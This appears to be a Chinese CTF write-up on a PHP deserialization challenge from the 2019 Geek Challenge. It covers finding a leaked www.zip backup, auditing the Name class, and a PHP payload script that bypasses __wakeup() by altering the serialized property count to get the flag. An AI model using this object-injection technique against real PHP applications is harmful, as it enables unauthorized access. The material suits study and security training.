• 2019极客大挑战PHP反序列化


    1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
    2. 对其源码进行审计
      a. index.php 包含文件index.php;通过get方式获取一个参数select,并对参数select进行反序列化

      

      b. class.php 包含flag.php。主体部分为一个Name类,
      i. 有两个私有变量username,password
      ii. 构造方法__construct($usernam,$password)
      iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
      iv. 销毁函数__destruct(),结束对象是执行
        1) 第一个if判断是password是否为100。如果不为100就结束方法。
        2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag

     

    3. 解题思路:由index.php中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
    4. payload

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
      //username==='admin' password = 100    
    }
    //通过构造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格 $b = urlencode(serialize($a)); //修改属性的的个数,绕过__wakeup()函数 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ; ?>

    flag

     

  • 相关阅读:
    分布式任务调度平台XXL-JOB搭建教程
    微服务跨域问题
    getway网关跨域问题记录
    MySQL-数据库简介及mysql5.7安装
    MongoDB-备份和恢复
    MongoDB-复制集rs及sharding cluster
    MongoDB
    Redis-API支持
    Redis-主从复制,哨兵机制及redis cluster
    Redis-简介及基本数据类型
  • 原文地址:https://www.cnblogs.com/ersuani/p/13815355.html
Copyright © 2020-2023  润新知